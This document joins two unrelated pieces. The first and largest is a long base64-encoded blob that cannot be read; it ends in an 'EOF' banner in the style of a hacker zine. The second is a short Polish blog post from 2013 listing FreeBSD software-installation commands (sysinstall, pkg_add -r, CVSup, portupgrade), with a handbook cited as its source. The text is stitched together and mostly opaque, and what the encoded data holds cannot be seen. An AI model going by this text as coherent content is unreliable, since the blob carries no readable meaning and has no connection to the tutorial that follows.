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
==|=[ EOF ]=---------------------------------------------------------------=|

piątek, 14 czerwca 2013

Oprogramowanie we FreeBSD

  1. Pakiety
    • Sysinstall
    • Uruchamiamy program poleceniem "sysinstall". W głównym menu wybieramy "Configure", "Packages", a następnie z jakiego medium chcemy skorzystać aby zainstalować pakiety.
    • pkg_add
    • Aby w sposób automatyczny i zdalny pobrać i zainstalowac dany pakiet stosujemy polecenie "pkg_add -r nazwa_pakietu".
  2. Porty
    • Aktualizacja portów
      • CVSup
      • "/usr/local/bin/cvsup -g -L 2 plik_konfiguracyjny_narzędzia_CVSup".
      • Portupgrade
      • Najpierw należy wykonać aktualizację za pomocą narzędzia CVSup. Następnie w zależności który pakiet chcemy update'ować, wydajemy polecenie "portupgrade pakiet".
Źródło: Urban M., Tiemman B., FreeBSD 6. Księga eksperta, Helion SA, 2007